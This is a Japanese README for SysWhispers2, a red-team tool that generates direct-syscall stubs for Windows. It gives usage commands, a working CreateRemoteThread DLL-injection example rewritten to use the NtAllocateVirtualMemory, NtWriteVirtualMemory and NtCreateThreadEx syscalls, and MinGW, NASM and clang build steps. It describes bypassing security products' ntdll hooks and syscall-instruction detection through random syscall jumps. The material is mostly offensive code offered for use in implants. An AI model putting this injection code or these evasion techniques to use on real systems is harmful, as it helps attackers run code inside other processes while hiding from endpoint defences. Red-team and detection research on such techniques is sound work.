
SysWhispersは、直接システムコールを行うためのヘッダー/ASMファイルを生成することで、回避策(エビデンション)を支援します。
すべての主要なシステムコールがサポートされており、生成されたファイルの例は example-output/ フォルダにあります。
使用方法は SysWhispers1 とほぼ同じですが、サポートするWindowsのバージョンを指定する必要はありません。変更点のほとんどは内部的なものです。これはもはや @j00ru の syscall tables に依存せず、代わりに @modexpblog によって普及した「システムコールアドレスによるソート」という手法を使用しています。これにより、システムコールスタブのサイズが大幅に削減されます。
SysWhispers2における具体的な実装は、@modexpblogのコードの変形です。違いの一つは、関数名のハッシュが生成のたびにランダム化されることです。この手法を以前に 公開 した @ElephantSe4l は、C++17ベースの別の実装も行っており、こちらも確認する価値があります。
元のSysWhispersリポジトリはまだ存在していますが、将来的に非推奨になる可能性があります。
さまざまなセキュリティ製品は、ユーザーモードAPI関数にフックを仕掛け、実行フローを自社のエンジンにリダイレクトして不審な動作を検出できるようにしています。ntdll.dll内のシステムコールを行う関数は、わずか数個のアセンブリ命令で構成されているため、それらを自身のインプラント内で再実装することで、それらのセキュリティ製品のフックをトリガーするのを回避できます。この手法は @Cn33liz によって広められ、彼の ブログ記事 には、さらに詳しい技術的詳細が記載されています。
SysWhispersは、レッドチームメンバーがカーネルイメージ(ntoskrnl.exe)内の任意のシステムコールに対してヘッダー/ASMのペアを生成できるようにします。ヘッダーには必要な型定義も含まれます。
> git clone https://github.com/jthuraisamy/SysWhispers2.git
> cd SysWhispers2
> py .\syswhispers.py --help
# サポートされているすべてのWindowsバージョンと互換性のあるすべての関数をエクスポート(example-output/ 参照)。
py .\syswhispers.py --preset all -o syscalls_all
# 共通関数のみをエクスポート(以下のリスト参照)。
py .\syswhispers.py --preset common -o syscalls_common
# NtProtectVirtualMemory と NtWriteVirtualMemory をすべてのバージョンと互換性を持たせてエクスポート。
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
PS C:\Projects\SysWhispers2> py .\syswhispers.py --preset common --out-file syscalls_common
python syswhispers.py -p all -a all -l all -o example-output/Syscalls
. ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-. /
`-. | | `-. |/|/ | | | `-. | | |-' | `-. ,-'
`-' `-| `-' ' ' ' ' ' `-' |-' `-' ' `-' `---
/| | @Jackson_T
`-' ' @modexpblog, 2021
SysWhispers2: Why call the kernel when you can whisper?
すべての関数が選択されました。
完了!ファイルは以下に書き込まれました:
example-output/Syscalls.h
example-output/Syscalls.c
example-output/SyscallsStubs.std.x86.asm
example-output/SyscallsStubs.rnd.x86.asm
example-output/SyscallsStubs.std.x86.nasm
example-output/SyscallsStubs.rnd.x86.nasm
example-output/SyscallsStubs.std.x86.s
example-output/SyscallsStubs.rnd.x86.s
example-output/SyscallsInline.std.x86.h
example-output/SyscallsInline.rnd.x86.h
example-output/SyscallsStubs.std.x64.asm
example-output/SyscallsStubs.rnd.x64.asm
example-output/SyscallsStubs.std.x64.nasm
example-output/SyscallsStubs.rnd.x64.nasm
example-output/SyscallsStubs.std.x64.s
example-output/SyscallsStubs.rnd.x64.s
example-output/SyscallsInline.std.x64.h
example-output/SyscallsInline.rnd.x64.h
CreateRemoteThread DLLインジェクションのBefore/After例py .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
#include <Windows.h>
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // 生成されたヘッダーをインポート。
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
--preset common スイッチを使用すると、以下の関数を含むヘッダー/ASMのペアが作成されます:
以下の例は、MinGW と NASM アセンブラを使用して上述のサンプルプログラムを EXE および DLL としてコンパイルする方法を示しています:
i686-w64-mingw32-gcc -c main.c syscalls.c -Wall -shared
nasm -f win32 -o syscallsstubs.std.x86.o syscallsstubs.std.x86.nasm
i686-w64-mingw32-gcc *.o -o temp.exe
i686-w64-mingw32-strip -s temp.exe -o example.exe
rm -rf *.o temp.exe
i686-w64-mingw32-gcc -c dllmain.c syscalls.c -Wall -shared
nasm -f win32 -o syscallsstubs.std.x86.o syscallsstubs.std.x86.nasm
i686-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
i686-w64-mingw32-strip -s temp.dll -o example.dll
rm -rf *.o temp.dll
x86_64-w64-mingw32-gcc -m64 -c main.c syscalls.c -Wall -shared
nasm -f win64 -o syscallsstubs.std.x64.o syscallsstubs.std.x64.nasm
x86_64-w64-mingw32-gcc *.o -o temp.exe
x86_64-w64-mingw32-strip -s temp.exe -o example.exe
rm -rf *.o temp.exe
x86_64-w64-mingw32-gcc -m64 -c dllmain.c syscalls.c -Wall -shared
nasm -f win64 -o syscallsstubs.std.x64.o syscallsstubs.std.x64.nasm
x86_64-w64-mingw32-gcc-dllwrap --def dllmain.def *.o -o temp.dll
x86_64-w64-mingw32-strip -s temp.dll -o example.dll
rm -rf *.o temp.dll
i686-w64-mingw32-gcc -m32 -Wall -c main.c syscalls.c syscallsstubs.std.x86.s -o temp.exe
i686-w64-mingw32-strip -s temp.exe -o example.exe
i686-w64-mingw32-gcc -m32 -Wall -c dllmain.c syscalls.c syscallsstubs.std.x86.s -o temp.dll
i686-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
i686-w64-mingw32-strip -s temp.dll -o example.dll
x86_64-w64-mingw32-gcc -m64 -Wall -c main.c syscalls.c syscallsstubs.std.x64.s -o temp.exe
x86_64-w64-mingw32-strip -s temp.exe -o example.exe
x86_64-w64-mingw32-gcc -m64 -Wall -c dllmain.c syscalls.c syscallsstubs.std.x64.s -o temp.dll
x86_64-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
x86_64-w64-mingw32-strip -s temp.dll -o example.dll
SysWhispers2 は、clang 互換の ASM スタブを含む .s ファイルを出力します。これは llvm を使用してコードをコンパイルする際に使用できます。例えば、上記の CreateRemoteThread DLL インジェクションの例では:
clang -D nullptr=NULL main.c syscall.c syscallstubs.std.x64.s -o test.exe
inlinegas 出力オプションを使用すると、BOF のコンパイルで使用できる Syswhispers2 のヘッダーのみのバージョンが生成されます。プロジェクトにそのヘッダーをインクルードするだけです。
ランダム システムコール ジャンプルーチンを使用することで、「システムコールのマーク」を回避することが可能です。アセンブリスタブは、新しい関数 SW__GetRandomSyscallAddress を呼び出します。この関数は ntdll.dll 内のクリーンなシステムコール命令を検索して選択します。これにより、ユーザーランドのシステムコール命令もトリガーされないようにできます。
ランダム システムコール ジャンプを使用するには、プログラムのコンパイル時に RANDSYSCALL を定義し、SysWhispers2 の出力の rnd バージョンを使用する必要があります。以下の例は、GNU アセンブラスタブを使用したものです。
i686-w64-mingw32-gcc main.c syscalls.c syscallsstubs.rnd.x86.s -DRANDSYSCALL -Wall -o example.exe
x86_64-w64-mingw32-gcc main.c syscalls.c syscallsstubs.rnd.x64.s -DRANDSYSCALL -Wall -o example.exe
win32k.sys) のシステムコールはサポートされていません。syscalls.h 内の typedef がすでに定義されている場合、プロジェクトがコンパイルできないことがあります。
--preset all はほとんど必要ありません)。syscalls.h から削除できます。@Jackson_T と @modexpblog によって開発されましたが、多くの他の作業者の研究に基づいています:
このプロジェクトは Apache License 2.0 の下でライセンスされています。